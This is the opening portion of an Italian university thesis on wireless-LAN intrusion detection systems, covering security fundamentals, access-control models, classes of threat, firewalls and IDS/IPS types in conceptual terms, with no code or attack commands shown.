Rilevamento intrusioni in wlan
-
Upload
cesena-security -
Category
Education
-
view
3.118 -
download
0
Transcript of Rilevamento intrusioni in wlan
ALMA MATER STUDIORUM - UNIVERSITA DI BOLOGNA
SEDE DI CESENA
SECONDA FACOLTA DI INGEGNERIA
CORSO DI LAUREA IN INGEGNERIA INFORMATICA
SISTEMI DI RILEVAMENTO DELLE
INTRUSIONI IN AMBIENTI DI
RETE LOCALE WIRELESS
Tesi di Laurea elaborata nel corso di:
Laboratorio di Reti di Telecomunicazioni L-A
Relatore
Prof. Walter Cerroni
Correlatore
Ing. Marco Ramilli
Presentata da
Marco Frison
Sessione II
Anno Accademico 2006/2007
Copyright c© 2007 Marco Frison <[email protected]>
Permission is granted to copy, distribute and/or modify this document under
the terms of the GNU Free Documentation License, Version 1.2 or any later
version published by the Free Software Foundation; with no Invariant Sec-
tions, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license
is included in the section entitled “GNU Free Documentation License”.
“If in physics there’s something you don’t understand,
you can always hide behind the uncharted depths of nature.
You can always blame God. You didn’t make it so complex yourself.
But if your program doesn’t work, there is no one to hide behind.
You cannot hide behind an obstinate nature.
If it doesn’t work, you’ve messed up.”
Edsger W. Dijkstra
Indice
Introduzione iii
1 Cenni di sicurezza dell’informazione 1
1.1 Definizioni: il paradigma C.I.A. . . . . . . . . . . . . . . . . . 2
1.2 Modelli implementativi . . . . . . . . . . . . . . . . . . . . . . 3
1.3 Inadeguatezza del paradigma . . . . . . . . . . . . . . . . . . . 6
1.4 Violazioni al paradigma . . . . . . . . . . . . . . . . . . . . . 7
1.5 Obscurity versus full disclosure . . . . . . . . . . . . . . . . . 9
2 Soluzioni di rete tradizionali 11
2.1 Firewall . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 11
2.2 Intrusion Detection System . . . . . . . . . . . . . . . . . . . 14
3 Tecnologie di protezione per reti wireless 802.11 19
3.1 Wired Equivalent Privacy . . . . . . . . . . . . . . . . . . . . 19
3.2 Temporal Key Integrity Protocol . . . . . . . . . . . . . . . . 23
3.3 Wi-Fi Protected Access . . . . . . . . . . . . . . . . . . . . . . 24
3.4 Wi-Fi Protected Access 2 . . . . . . . . . . . . . . . . . . . . . 27
3.5 Sviluppi futuri: 802.11w . . . . . . . . . . . . . . . . . . . . . 29
3.6 Caso di studio: WLAN citta di Cesena . . . . . . . . . . . . . 30
4 Wireless IDS 33
4.1 Architettura . . . . . . . . . . . . . . . . . . . . . . . . . . . . 34
4.2 Attacchi e contromisure . . . . . . . . . . . . . . . . . . . . . 40
ii INDICE
4.3 Il problema della localizzazione . . . . . . . . . . . . . . . . . 55
4.4 Kismet . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 57
5 Verifiche sperimentali 61
5.1 Topologia della rete . . . . . . . . . . . . . . . . . . . . . . . . 61
5.2 Configurazione degli strumenti . . . . . . . . . . . . . . . . . . 62
5.3 Penetration test . . . . . . . . . . . . . . . . . . . . . . . . . . 65
Conclusioni 75
A Simple Injector - Sorgenti 77
B Wardriving - Note legali 83
C GNU Free Documentation License 85
C.1 Applicability and definitions . . . . . . . . . . . . . . . . . . . 86
C.2 Verbatim copying . . . . . . . . . . . . . . . . . . . . . . . . . 88
C.3 Copying in quantity . . . . . . . . . . . . . . . . . . . . . . . . 89
C.4 Modifications . . . . . . . . . . . . . . . . . . . . . . . . . . . 90
C.5 Combining documents . . . . . . . . . . . . . . . . . . . . . . 93
C.6 Collections of documents . . . . . . . . . . . . . . . . . . . . . 94
C.7 Aggregation with independent works . . . . . . . . . . . . . . 94
C.8 Translation . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
C.9 Termination . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95
C.10 Future revisions of this license . . . . . . . . . . . . . . . . . . 96
Bibliografia 97
Introduzione
Tra le varie tecnologie senza fili a banda larga approdate sul mercato negli
ultimi anni nessuna ha avuto successo e rapida espansione quanto quelle ap-
partenenti alla famiglia IEEE 802.11; generalmente piu note sul mercato con
l’acronimo Wi-Fi queste tecnologie hanno saputo imporsi per diversi moti-
vi, essenzialmente riconducibili al basso costo dei dispositivi e alla notevole
semplicita di installazione ed utilizzo.
L’improvviso interesse verso le architetture wireless ha per lungo tempo
mascherato o quantomeno desensibilizzato gli utilizzatori sui rischi e sui pro-
blemi strutturali connessi a tali sistemi; in particolare il mantenimento di
una soglia accettabile di sicurezza e presto divenuto un fattore insostenibile
per le grandi societa e gli enti governativi che richiedono rigorose procedure
di controllo e standard certificabili.
Un susseguirsi di sempre nuove vulnerabilita facilmente sfruttabili e di ra-
pida automatizzazione ha convinto la Wi-Fi Alliance prima e il gruppo 802.11
poi della necessita di riprogettare interamente l’impalcatura di autenticazione
e protezione.
Sebbene enormi passi siano stati compiuti in questa direzione restano
ancora aperte numerose incognite legate intrinsecamente alle tecnologie wi-
reless: ripercorrendo le tappe evolutive del processo ingegneristico che ha
condotto ai piu moderni e recenti standard di sicurezza, questa tesi pone co-
me obiettivo lo studio delle problematiche di monitoraggio e rilevamento del-
iv Introduzione
le intrusioni in ambienti WLAN attraverso una panoramica degli strumenti
open-source oggi a disposizione.
Il primo capitolo accenna le basi della sicurezza informatica tramite
definizioni, modelli e formalismi generali.
Il secondo capitolo illustra le comuni soluzioni adottate nelle reti ca-
blate attraverso lo sviluppo delle nozioni di firewall, DMZ e IDS.
Il terzo capitolo introduce gli standard di sicurezza per ambienti WLAN,
esaminandone e commentandone le principali vulnerabilita.
Il quarto capitolo descrive dettagliatamente i Wireless IDS, delinean-
done l’architettura e discutendone le nuove problematiche; infine, come caso
di studio, e presentato Kismet, uno scanner/WIDS open-source.
Nel quinto capitolo e illustrata l’attivita sperimentale, volta a verificare
le attuali capacita di Kismet.
Prima di continuare e doveroso precisare come i termini “wireless”, “Wi-
Fi” e “WLAN” non siano sinonimi interscambiabili in quanto mentre il pri-
mo denota una qualsivoglia tecnologia senza fili (802.11, Wi-Max, Bluetooth,
UMTS, ecc...), il secondo e il terzo si riferiscono unicamente all’implemen-
tazione delle specifiche IEEE 802.11; ciononostante, essendo oramai comune
l’abuso di queste terminologie per indicare le sole tecnologie 802.11, anche
questa tesi ne fara, occasionalmente, un uso indistinto.
Marco Frison
Capitolo 1
Cenni di sicurezza
dell’informazione
Tra tutti i settori legati all’informatica la sicurezza dell’informazione e forse
l’unico rimasto ammantato da un velo di ombre e misteri che, ancora oggi, lo
rendono agli occhi dei piu non una vera e propria scienza, definibile formal-
mente e apprendibile tramite uno studio metodologico, ma piuttosto quasi
un’arcana arte acquisibile solamente tramite l’esperienza; questa visione, in
parte alimentata da fantasiose quanto imprecise produzioni cinematografi-
che, unita alla difficolta di formulare correttamente soluzioni al problema,
motiva la penuria, la giovinezza e la conseguente instabilita delle comuni
infrastrutture di sicurezza.
Nell’ultimo decennio l’esposizione di dati sensibili su sistemi informati-
ci ha subito un incremento impensabile e, in qualche modo, inaspettato; cio
pone l’urgente problema di ridefinire le conoscenze preesistenti in termini “in-
gegneristici”, inteso nel senso tradizionale di definizione formale di modelli,
metodologie e tecniche condivise ed analizzate globalmente dalla comunita
scientifica.
La definizione del concetto di sicurezza, per nulla univoco nel campo
2 Cenni di sicurezza dell’informazione
dell’informatica, e il nostro primo passo nel processo di sviluppo di quella
figura professionale che chiameremo “security engineer”, in virtu della ferma
volonta di rievocare le prassi operative dell’ingegneria.
1.1 Definizioni: il paradigma C.I.A.
In letteratura, ma in generale anche operativamente, i criteri fondamentali
per definire sicuro un sistema informativo possono essere riassunti in termi-
ni di confidentiality, integrity e availability (confidenzialita, integrita e
disponibilita) [1] [2]. Si osservi che le definizioni a seguire divergono legger-
mente da quelle espresse nei documenti di ricerca analizzati e rappresentano
una rielaborazione personale che puo essere vista come parte del contributo
originale di questo studio.
La confidentiality riguarda la necessita di rendere accessibili le risorse del
sistema ai soli utenti autorizzati e formalmente rappresenta l’esistenza di una
relazione binaria (true, false) 1-N tra ogni risorsa e il gruppo di tutti i pos-
sibili utilizzatori, inclusi quelli inattesi; al contrario di quanto generalmente
sostenuto non riguarda la capacita o meno di accedere in lettura al dato/ri-
sorsa ma piu intrinsecamente la possibilita di riservatezza riguardo l’esistenza
stessa dell’informazione.
La integrity esterna la capacita di garantire che la risorsa sia validabile,
cioe la definizione di una relazione ternaria tra le risorse, gli utenti e lo
spazio delle possibili operazioni; non solo include vincoli di consistenza su
modifica, cancellazione o altri accessi in scrittura ma anche la possibilita
di verificare l’origine dell’informazione; questo punto e inequivocabilmente il
nodo critico della struttura in quanto generalmente la fiducia di una sorgente
non e valutabile obiettivamente ma solo tramite assunzioni poste a priori.
La availability definisce la volonta di garantire, entro un tempo accettabi-
le, che l’utilizzo di una risorsa non sia mai negato ad un utente effettivamente
1.2 Modelli implementativi 3
autorizzato; stabilisce dunque una sorta di compromesso con le relazioni pre-
cedenti in quanto manifesta che la sicurezza di un sistema non influisca sul-
l’usabilita dello stesso da parte del personale autorizzato. Quest’assunzione,
indicando come requisito un “tempo accettabile”, puo limitare fortemente
la scelta delle tecniche implementative e condurre persino alla decisione che
un particolare rischio e accettabile o trasferibile (ad esempio per mezzo di
un’assicurazione).
Ricordiamo infine, a scanso di equivoci, come queste definizioni siano da
assumere nel modo piu generale possibile e non limitatamente ai concetti
informatici di hardware e software ma piuttosto dovrebbero essere rivolti a
tutti i settori coinvolti nel trattamento e nella gestione delle informazioni di
un’azienda o di un’organizzazione.
1.2 Modelli implementativi
A livello implementativo, tradizionalmente il paradigma C.I.A. e stato rias-
sunto in tre domande
Chi sei? Come ti riconosco? Che diritti hai?
che caratterizzano rispettivamente i servizi di identificazione, autentica-
zione e controllo degli accessi. Il lettore scrupoloso dovrebbe immediata-
mente intuire che queste considerazioni tralasciano il tema della availability:
cio e classicamente accettato in quanto quest’ultima attiene maggiormente,
ma in ultima analisi non esclusivamente, alle capacita infrastrutturali del si-
stema: ad esempio essa e generalmente trattata in termini di throughput,
latenza, banda disponibile, politiche di recovery, ecc...
I servizi di identificazione, spesso appaiati o confusi con quelli di auten-
ticazione, permettono di individuare l’utente tra quelli disponibili all’interno
del sistema. Sono molto varie le soluzioni adottate: semplici username, si-
4 Cenni di sicurezza dell’informazione
stemi hardware come smart-card o pen-drive, soluzioni di riconoscimento
biometrico basati sulla scansione dell’iride o l’impronta digitale.
I servizi di autenticazione costituiscono la verifica successiva e accerta-
no l’identita collegandola ad un qualche genere di token, generalmente una
password ma anche impronte vocali o, come sopra, sistemi hardware o bio-
metrici. In questa fase e significativo l’utilizzo di tecniche crittografiche; ad
esempio i login, piuttosto che le password in chiaro, tipicamente confronta-
no i rispettivi hash one-way crittografici, derivati da uno specifico algoritmo
comune.
Il controllo degli accessi, l’ultima categoria di servizi elencati, e in assoluto
il tema piu delicato e per questo maggiormente studiato in ambito scienti-
fico; fondamentalmente tre sono i paradigmi possibili: DAC (Discretionary
Access Control), MAC (Mandatory Access Control) e RBAC (Role-Based
Access Control). La scelta del modello implica forti ripercussioni sul sistema
in termini di progettazione e prestazioni ottenibili e dovrebbe pertanto es-
sere eseguita solo dopo un’attenta analisi dei requisiti e valutando l’effettivo
grado di sicurezza richiesto.
Il paradigma DAC e sicuramente il piu diffuso e quello a cui siamo nor-
malmente abituati: e tipicamente la scelta di default sia nei sistemi Unix (e
derivati, BSD e Linux) sia in quelli della famiglia Microsoft Windows NT
(NT, XP, 2003 e Vista). Ciononostante regna molta confusione, anche nel-
l’ambito dei trattati di ricerca, sul preciso significato formale: difatti esso e
comunemente descritto come basato sul concetto di proprietario di una risor-
sa, sebbene la definizione originale [3] lo denoti come “un modo di limitare
l’accesso alle risorse basato sull’identita del soggetto e/o del gruppo a cui ap-
partiene”, ignorando completamente la nozione di proprietario che dunque
non costituisce un prerequisito ma solamente la piu comune scelta imple-
mentativa. In questi sistemi il termine Discretionary indica che il detentore
di un diritto su una particolare risorsa puo delegare ad altri utenti, anche
indirettamente, questo suo privilegio.
1.2 Modelli implementativi 5
I sistemi MAC, anch’essi formalmente definiti in [3], sono descritti come
un modo per limitare l’accesso alle risorse basato sulla sensitivita dell’infor-
mazione contenuta e da una formale autorizzazione del soggetto all’accesso
a informazioni di tale sensitivita. Questa asserzione implica che ogni risorsa
e preventivamente inserita in uno specifico contesto di sicurezza nel quale gli
utenti autorizzati possono eseguire un ristretto sottoinsieme di operazioni,
anch’esso predeterminato; tipicamente questo compito e eseguito dal secu-
rity administrator o security officer, l’unico a cui sono riservati i poteri di
amministrare i livelli di accesso e le operazioni consentite. Il punto focale del
modello e la possibilita di inibire particolari operazioni ad un utente anche
per risorse da lui stesso create e/o possedute: questo garantisce una robu-
stezza e un livello di granularita molto piu fine di quello permesso in una
architettura DAC in quanto l’identita del soggetto non e piu condizione ne-
cessaria e sufficiente ad eseguire una qualsiasi operazione sui propri dati ma
solamente condizione necessaria. Questo approccio, caro ai sistemi militari, e
stato analizzato e ha ispirato numerosi paradigmi, i piu famosi riconducibili
ai lavori di Clark-Wilson [4] e di Bell-LaPadula [5].
Nel corso degli anni sono nate molteplici implementazioni, in particola-
re si ricorda il progetto open-source SELinux [6] (Security-Enhanced Linux ),
inizialmente sviluppato come una serie di patch per il kernel Linux dalla NSA
(National Security Agency) e infine incluso direttamente nel mainstream (ver-
sione 2.6.0∼test3). SELinux aggiunge un valido, ma non esente da critiche
[7], strato MAC assieme ad alcune soluzioni RBAC.
L’approccio RBAC rappresenta un’alternativa relativamente nuova e sem-
pre piu apprezzata non solo in ambito accademico ma anche in campo com-
merciale. Questi sistemi hanno acquistato grande vigore verso la fine degli
anni ’90 quando brillanti ricerche [8] dimostrarono che la nuova metodologia
non poteva ricadere nelle precedenti categorie come un loro sottoprodotto.
La potenza del modello supera i concetti dei paradigmi DAC e MAC intro-
ducendo l’astrazione di “ruolo”, capace di spezzare il legame tra utenti e
permessi mediando tra essi.
6 Cenni di sicurezza dell’informazione
Figura 1.1: Schema di controllo RBAC
La Figura 1.1 illustra come il rapporto tra utenti e permessi sia sostitui-
to in favore di due nuove relazioni “many-to-many” (N-M) tra gli stessi e
l’interposto strato dei ruoli. Questa ripartizione, sorprendentemente banale
nella societa umana, rappresenta un cambiamento sostanziale in quanto eleva
arbitrariamente la granuralita e l’approccio del least privilege apportabile al
sistema; inoltre e intuitivamente applicabile ricorsivamente a piu livelli, ad
esempio in caso si debbano gestire enormi volumi di ruoli, utenti e permessi.
Data la sua giovane eta questo criterio e ancora poco diffuso nel set-
tore dei sistemi operativi mentre e da tempo l’implementazione standard
per la maggior parte dei DBMS in commercio, tra cui citiamo Oracle e
PostgreSQL; piacevole eccezione a quanto appena argomentato e grsecurity
[7], fruibile come patch per il kernel Linux, mentre soluzioni ibride MAC-
RBAC sono disponibili in FreeBSD, Trust Solaris e tramite il gia citato
SELinux.
1.3 Inadeguatezza del paradigma
Giunti a questo punto ha senso, o meglio e necessario, domandarsi che li-
vello di sicurezza garantiscano questi modelli. Nessuno. Una risposta tanto
immediata quanto raggelante. Nessuna assicurazione puo essere formulata
1.4 Violazioni al paradigma 7
in termini di safety, nessuna verifica di “buon comportamento” e di per se
predicibile. Citando uno splendido documento di Bruce Schneier [9]:
...
Security is a process, not a product. Products provide some protection, but
the only way to effectively do business in an insecure world is to put
processes in place that recognize the inherent insecurity in the products.
...
Riconoscere la sicurezza come un processo significa attribuirle proprieta di ge-
stione e certificazione tipiche di quest’ultimi: gli studi qualitativi prevedono
difatti un miglioramento asintotico frutto di un rapporto qualita/prezzo sta-
tisticamente valutabile a priori in sede di analisi. Un risultato importante con
gravi implicazioni teoriche e pratiche: l’assunzione definitiva e irrevocabile
del worst case, il caso peggiore. Il nostro sistema e vulnerabile, potenziale
vittima di aggressioni. Chiunque affermi il contrario e inequivocabilmente
un dilettante.
1.4 Violazioni al paradigma
Incapaci di realizzare un sistema realmente sicuro, desideriamo concetrare
l’attenzione su una catalogazione formale dei rischi e delle minacce come
violazione dei fondamenti della sicurezza descritti in sez. 1.2, senza, vice-
versa, soffermarci sulle possibili e discutibili classificazioni degli aggressori.
Distinguiamo tra sniffing, data alteration, spoofing e denial of service.
Il termine sniffing indica i pericoli connessi all’intercettazione non auto-
rizzata, evidente violazione del principio di confidentiality; puo essere perpre-
tata nei modi piu vari, fisicamente (wiretapping) o a lunghe distanze. Con-
tromisure tipiche risiedono nell’utilizzo di tecnologie crittografiche, applicate
a uno o piu layer del protocollo TCP/IP (data-link, network e/o transport
nella maggioranza dei casi).
8 Cenni di sicurezza dell’informazione
Data alteration denota i rischi relativi all’esposizione ad attacchi in-
dirizzati alla modifica non autorizzata di dati e informazioni, infrangendo il
concetto di integrity. In questa ampia categoria sono contenute alcune delle
tecniche piu note ed eleganti descritte in letteratura. Ad esempio i cosiddetti
buffer overflow, derivanti da un mancato o errato controllo sulla dimensione
dell’input in ingresso ad un buffer, consentono di modificare arbitrariamento
il flusso di controllo del programma per eseguire comandi non permessi (ge-
neralmente una shell di root). Soluzioni per evitare questo tipo di minacce
risiedono nella verifica dell’integrita dei dati tramite operazioni di parsing
degli input e monitoraggio dei files sensibili.
Con spoofing si intendono tutte le attivita volte al mascheramento della
propria identita con lo scopo di aggirare i controlli preposti a garantire con-
fidentiality e integrity delle informazioni. I possibili attacchi riconducibili a
questa categoria trascendono dalla sola informatica, estendendosi al campo
della psicologia umana tramite le raffinate discipline di social engineering.
Notoriamente l’essere umano e prono a raggiri causati da scarsa competenza
o ingenuita; come una robusta cassaforte e un debole palliativo per un ladro
a cui abbiamo consegnato la chiave, allo stesso modo le precauzioni prese per
il nostro sistema risultano vane se la segretaria, ingannata da false creden-
ziali e/o bella presenza, comunica a terzi le password aziendali. In realta e
il medesimo atteggiamento che permette la rapida diffusione di virus, worm,
dialer e simili programmi malevoli.
In ambito puramente informatico lo spoofing si sviluppa in ogni livello
del protocollo TCP/IP, sino allo strato applicativo; ad esempio il phishing,
oggigiorno molto comune, prevede l’utilizzo di siti web fittizi simili nell’aspet-
to a quelli originali con l’intento di indurre l’utente a comunicare a soggetti
esterni i propri dati personali, quali password e numeri di carte di credito.
Particolarmente subdola, infine, la classe di attacchi riconducibile al man
in the middle, situazione in cui l’aggressore si interpone a due interlocutori
presentandosi a ciascuno di essi come il corrispettivo.
1.5 Obscurity versus full disclosure 9
Ostacolare queste minacce e particolarmente complicato e prevede sostan-
zialmente la capacita di assicurare efficaci servizi di autenticazione, tanto nel
dominio informatico quanto in quello umano; pertanto una saggia politica di
sicurezza dovrebbe includere periodici corsi educativi, obbligatori per tutti
gli utenti.
Per concludere, i denial of service (DOS) aggrediscono il presupposto
di availability, ritardando o bloccando l’utilizzo delle risorse. Generalmen-
te sono perpetrati inondando il bersaglio con quantita di traffico ingestibili,
spesso ricorrendo all’utilizzo di insiemi di host gia violati (gergalmente mac-
chine zombi) per realizzare offensive Distributed DOS (DDOS). Per quanto
contenibili progettando accuratamente la propria infrastruttura, non esisto-
no reali contromisure ad ogni scenario: per quanto elevata, la propria banda
sara sempre superiormente limitata.
1.5 Obscurity versus full disclosure
Discutiamo infine, brevemente e senza addentrarci nei dettagli, le diverse
strategie di security through obscurity e di full disclosure
Security through obscurity e una corrente di pensiero basata sul princi-
pio di segretezza, in termini di design, implementazione e manutenzione del
software: le vulnerabilita, eventuali o realmente esistenti, non sono divulgate
al pubblico nella speranza che gli aggressori non ne giungano a conoscenza.
Questa convinzione, notoriamente smentita dai fatti, e abitualmente applica-
ta in ambito commerciale e militare ma aspramente criticata dalla comunita
open-source che la ritiene una comoda scusante ai tempi spesso intollerabili
di aggiornamento e revisione del software.
Contrapposta alla precedente, full disclosure e una diffusa metodologia
che richiede la completa divulgazione al pubblico di ogni vulnerabilita, in-
clusi i dettagli per la rilevazione e l’exploit della stessa. La teoria fondante
10 Cenni di sicurezza dell’informazione
prevede che questo atteggiamento porti a correzioni piu repentine perche gli
autori del software sono costretti a rispondere celeramente per mantenere la
credibilita del proprio prodotto; cio generalmente riduce la finestra di espo-
sizione all’attacco.
L’origine risale formalmente ad un articolo del 1853 [10], a cura di A. C.
Hobbs, sull’opportunita che i difetti delle serrature rimanessero confinati alla
comunita dei fabbri. Da allora numerosi sono stati i consensi; in particolare
nel campo della crittografia il concetto e riassunto nella legge di Kerckhoffs.
Kerckhoffs 1.1 A cryptosystem should be secure even if everything about
the system, except the key, is public knowledge.
Varianti a quest’atteggiamento prendono il nome di responsible disclo-
sure, per cui si ritiene lecito informare preventivamente gli sviluppatori e
rilasciare al pubblico la vulnerabilita solo a correzione avvenuta e comunque
non oltre un tempo massimo di quindici-trenta giorni.
Questa modalita di procedere non e tuttavia esente da critiche; in par-
ticolare gli oppositori sostengono che rilasciare dettagli e tools dedicati a
sfruttare le falle permetta un incontrollabile proliferare di attacchi anche da
parte di curiosi e/o inesperti.
Capitolo 2
Soluzioni di rete tradizionali
Nella teoria classica sono state fornite molteplici e piu o meno valide soluzioni
alle problematiche di sicurezza; focalizzandoci sull’ambiente di rete, analiz-
ziamo le tecniche adottate prima dell’avvento delle tecnologie senza fili allo
scopo di comprendere i postulati da cui diparte il loro funzionamento. Nel
capitolo 4, in ambito WLAN, invalideremo questi assiomi e affronteremo le
nuove impreviste difficolta.
2.1 Firewall
In una prima affrettata descrizione, un firewall e semplicemente un siste-
ma hardware o software capace di filtrare il traffico di rete; in realta que-
sti apparecchi si sono gradualmente sviluppati sino a comprendere gli strati
applicativi superiori al livello di trasporto.
La nozione di firewall e ufficializzata in un documento del 1988 redatto
presso la Digital Equipment Corporation (DEC) [11] in cui e illustrato un
primitivo analizzatore di pacchetti; questo rudimentale programma limitava
le proprie considerazioni all’indirizzo sorgente e destinazione, al protocollo e
alla porta associata, cioe ai dati ottenibili ispezionando il singolo pacchetto.
12 Soluzioni di rete tradizionali
L’atteggiamento descritto, caratterizzante il primo periodo, individua una
categoria di firewall detti stateless, ossia incapaci di osservare il traffico
dati in termini di flussi di pacchetti correlati tra loro.
Questa nuova abilita identifica i sistemi stateful, frutto della collabora-
zione di Dave Presetto, Howard Trickey, e Kshitij Nigam presso gli AT&T
Bell Laboratories. La seconda generazione e idonea a prevenire maggior tipo-
logie d’attacco proprio in virtu della possibilita di analizzare le connessioni
logiche come progressioni ordinate di pacchetti. Ad esempio un “SYN flood”,
ingegnoso DOS (vd. sez. 1.4) che tenta di saturare le risorse della vittima
tramite sequenze incomplete di hand-shake TCP, e rilevabile solo a patto di
mantenere traccia dello stato del traffico di rete.
Verso la meta del 1991 Marcus Ranum concretizzo i suoi studi teorici,
condotti assieme Bill Cheswick e concorrentemente a Gene Spafford, in un
prodotto di nuova concezione, appartenente alla categoria oggi nota come
application layer firewall o proxy based firewall. L’estensione ai mag-
giori protocolli applicativi, ad esempio HTTP, SMTP, FTP e DNS, permette
l’individuazione di piu complessi e mirati attacchi e/o abusi; inoltre queste
soluzioni generalmente prevedono l’integrazione con software IDS/IPS, di cui
discuteremo in sez. 2.2.
A qualunque categoria sopra citata appartenga il proprio firewall, esso e
inefficace se dislocato erroneamente. A tal scopo, evitando esempi banali di
intranet sprovviste di macchine server, introdurremo la piu diffusa e classica
topologia di rete descritta in letteratura.
La Figura 2.1 mostra una network aziendale schematicamente partizio-
nata in due rami: la rete interna, utilizzata per cablare uffici e simili am-
bienti di lavoro, e una seconda sezione notoriamente conosciuta come DMZ
(De-Militarized Zone, gergalmente “zona smilitarizzata” o, per associazio-
ne d’idee, “zona insicura”), impiegata per i server che necessitano di essere
raggiungibili dall’esterno.
2.1 Firewall 13
La suddivisione non e solo una pratica utile per separare entita concet-
tualmente distinte ma piuttosto un efficace meccanismo per diversificare le
politiche di controllo e filtraggio del firewall. In particolare, come esplificato
dalle freccie, mentre la DMZ puo accettare richieste e stabilire connessioni
in entrambi i versi, la rete interna e totalmente schermata e irraggiungibile
sia dall’esterno sia dalla DMZ stessa, a tutelare che eventuali vulnerabilita di
un server in quest’ultima si riflettano in possibili aggressioni alla rete interna
stessa.
Figura 2.1: Topologia di rete con DMZ
Ovviamente tale stile topologico, qui esemplificato in una ripartizione a
due sole dimensioni, e esportabile e scalabile a esigenze notevolmente piu
complesse; quali che siano, gli esperti concordano sull’importanza di im-
plementare un firewall e difatti oggigiorno sono presenti come componen-
ti base in tutti i maggiori sistemi operativi. Per la loro ampia diffusio-
ne ricordiamo Windows Firewall, introdotto con Microsoft Windows XP, e
Netfilter/Iptables, integrato nel kernel Linux dalla release 2.4.
14 Soluzioni di rete tradizionali
2.2 Intrusion Detection System
Nella sez. 1.3 abbiamo assiomaticamente stabilito l’impossibilita di garanti-
re la sicurezza del nostro sistema. Questo comporta la ricerca di soluzioni
ortogonali al problema: se le intrusione di soggetti esterni non sono scongiu-
rabili deve quantomeno sussistere un meccanismo che permetta di tracciarle,
circoscriverle e assicurare il rapido intervento atto a correggere la falla e
quantificare e/o qualificare il danno subito.
Tale automatismo, impeccabile dal punto di vista logico, in realta presen-
ta molteplici difficolta realizzative. Infatti se un aggressore ottiene privilegi
di tipo amministrativo e tipicamente in grado, a meno di stringenti politiche
MAC-RBAC, di aggirare, sospendere e alterare l’attivita di qualsiasi proces-
so di controllo e registrazione degli eventi al fine di mascherare le proprie
tracce.
Partendo da questa assunzione, gli IDS sviluppano la propria attivita
cercando di rispondere alle domande
Cosa cerchi di fare? Perche?
in maniera complementare a quanto evidenziato dal paradigma C.I.A. Cio e
possibile ipotizzando che il comportamento di un intruso differisca sensibil-
mente rispetto a quello degli utenti autorizzati; e ovviamente una discutibile
semplificazione ma i dati sperimentali permettono generalmente di avallarla.
Una nota prima di proseguire: un IDS non sostituisce i precedenti processi
di sicurezza ma e piuttosto adibito a scoprire un loro fallimento. Questa preci-
sazione, ripresa con varie modalita in qualunque testo, vuole essere un monito
a tutti quegli impreparati addetti ai lavori che svolgono con superficialita la
loro mansione.
2.2 Intrusion Detection System 15
2.2.1 Tipologie
La letteratura presenta svariate differenti classificazioni per i sistemi anti
intrusione; noi ne forniremo una panoramica sommaria, rimandando ai nu-
merosissimi e talvolta contrastanti documenti presenti in rete per ulteriori
approfondimenti.
Una delle piu comuni generalizzazioni distingue tra due macro categorie,
misuse-based e anomaly-based detection.
Un approccio misuse-based, similarmente ai software antivirus, indivi-
dua le attivita sospette tramite il confronto con un catalogo preesistente di
signatures, associate ad attacchi di cui si conoscono pattern caratteristici e
costanti. Questo correla l’abilita di riconoscimento e il numero di falsi positivi
(allarmi generati in reazione ad azioni lecite) alla qualita e alla tempestivita
degli aggiornamenti delle signatures stesse. Il principale svantaggio e, vice-
versa, l’incapacita di rilevare aggressioni realizzate con tecniche sconosciute
o di cui ancora non si e definita una impronta.
Una soluzione anomaly-based, al contrario, basa la propria efficacia su
considerazioni di tipo statistico, riportando all’attenzione dell’amministrato-
re le attivita che non rientrano nel normale atteggiamento degli utenti sot-
toposti a controllo. Sebbene cio permetta di rilevare anche attacchi ancora
sconosciuti e non necessiti di continui aggiornamenti, e fondamentale formu-
lare correttamente il modello comportamentale e sottoporrlo a lunghe fasi
di apprendimento. Inoltre tali sistemi sono tragicamente propensi a fornire
enormi quantita di falsi positivi.
A causa della difficolta nel definire modelli sufficientemente generali gli
IDS commerciali sono in larga maggioranza misuse-based; tuttavia, pre-
valentemente in ambito accademico, proseguono floridi studi su tecnologie
anomaly-based e strategie ibride, desiderabile compromesso tutt’ora in stato
embrionale.
16 Soluzioni di rete tradizionali
Un ulteriore importante modalita di differenziazione e tra IDS host-
based e network-based.
I sistemi host-based sono adibiti al controllo di una singola postazione e
tipicamente realizzano le proprie funzionalita attraverso i servizi di monito-
raggio e logging messi a disposizione dal sottostante sistema operativo. Ad
esempio il kernel Linux espone una serie di hooks (lett. “uncini” o “ganci”)
ai quali i programmi interessati possono agganciarsi per tracciare chiamate
di sistema, cambi di contesto e di privilegi, ecc...
I sistemi network-based, diversamente dai precedenti, supervisionano
una o piu sottoreti, catturando e analizzando i flussi di pacchetti tramite
l’utilizzo di sniffer. Il piu immediato vantaggio e la possibilita di proteggere
con relativamente pochi dispositivi, o sensori, anche reti decisamente ampie.
In aggiunta lo sniffer opera passivamente, impostando la scheda di rete in
una particolare modalita detta promiscua che ne disabilita le capacita di tra-
smissione; questo ne rende estremamente difficile, sebbene non impossibile, il
rilevamento a soggetti esterni. D’altro canto questa soluzione e inefficacie in
praticamente tutti gli attacchi inseriti in un contesto crittografico (ad esem-
pio tramite HTTPS o VPN) in quanto il traffico coinvolto non puo essere
esaminato; inoltre, per quanto prestante, la macchina adibita a tale funzione
ha un carico massimo superato il quale perde la propria efficacia.
Da anni disponibili sia in ambiente commerciale che in ambito accade-
mico, ne esistono soluzioni sia operanti on-line, generalmente impiegati per
analizzare in tempo reale pacchetti a campione, che offline, utilizzati per
verifiche complete e dettagliate a posteriori.
Infine, nei settori di ricerca, sono allo studio sistemi distribuiti di sen-
sori intelligenti. Queste architetture evolute, modellate sul paradigma ad
agenti, operano una serie di “scremature” sui dati prima di ritrasmetterli a
uno o piu server centrali adibiti alla correlazione e valutazione. Torneremo a
considerare questo approccio nel corso del capitolo 4.
2.2 Intrusion Detection System 17
2.2.2 Controllo e prevenzione: IPS
Nell’ideologia corrente spesso si tende ad eleggere implicitamente i software
IPS (Intrusion Prevention System, denotati anche IDS in-line) come natu-
rale evoluzione del concetto di Intrusion Detection. Se dal punto di vista
puramente formale cio e condivisibile, in quanto mantiene inalterato il con-
cetto di controllo riducendo la necessita di interventi umani, questo modello
mina fortemente il criterio di availability discusso in sez. 1.1. Difatti un
aggressore esperto, intuita l’esistenza di un IPS, potrebbe facilmente indurlo
con falsi attacchi a provocare Denial-Of-Service su settori della rete da esso
stesso protetta. Inoltre la sua adozione introduce un ulteriore singol point
of failure, un collo di bottiglia determinato dalla necessita di esaminare
tutto il traffico in real-time.
